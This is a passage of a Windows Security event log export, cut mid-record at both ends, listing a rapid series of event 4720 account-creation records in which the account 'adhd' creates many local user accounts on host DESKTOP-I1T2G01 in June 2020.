Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1166</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gary</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gary - adhd - - - 4720 - 5035 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.9590175Z'/><EventRecordID>5035</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Denise</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1165</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Denise</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Denise - adhd - - - 4720 - 5029 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.8851120Z'/><EventRecordID>5029</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Beverly</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1164</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Beverly</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Beverly - adhd - - - 4720 - 5023 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.8036322Z'/><EventRecordID>5023</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sean</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1163</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sean</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sean - adhd - - - 4720 - 5017 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.7160871Z'/><EventRecordID>5017</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Edward</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1162</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Edward</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Edward - adhd - - - 4720 - 5011 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.6346615Z'/><EventRecordID>5011</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Nathan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1161</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Nathan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Nathan - adhd - - - 4720 - 5005 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.5422210Z'/><EventRecordID>5005</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Alice</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1160</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Alice</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Alice - adhd - - - 4720 - 4999 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.4571927Z'/><EventRecordID>4999</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Sharon</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1159</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Sharon</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Sharon - adhd - - - 4720 - 4993 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.3720955Z'/><EventRecordID>4993</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Brittany</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1158</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Brittany</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Brittany - adhd - - - 4720 - 4987 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.2818397Z'/><EventRecordID>4987</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Matthew</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1157</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Matthew</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Matthew - adhd - - - 4720 - 4981 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.1991755Z'/><EventRecordID>4981</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Christina</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1156</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Christina</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Christina - adhd - - - 4720 - 4975 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:06.0768723Z'/><EventRecordID>4975</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1155</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joan - adhd - - - 4720 - 4969 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.9909314Z'/><EventRecordID>4969</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Linda</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1154</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Linda</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Linda - adhd - - - 4720 - 4963 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.9048233Z'/><EventRecordID>4963</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Tyler</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1153</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Tyler</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Tyler - adhd - - - 4720 - 4957 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.8172149Z'/><EventRecordID>4957</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kathryn</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1152</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kathryn</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kathryn - adhd - - - 4720 - 4951 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:05.7208828Z'/><EventRecordID>4951</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Andrea</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1151</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Andrea</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - 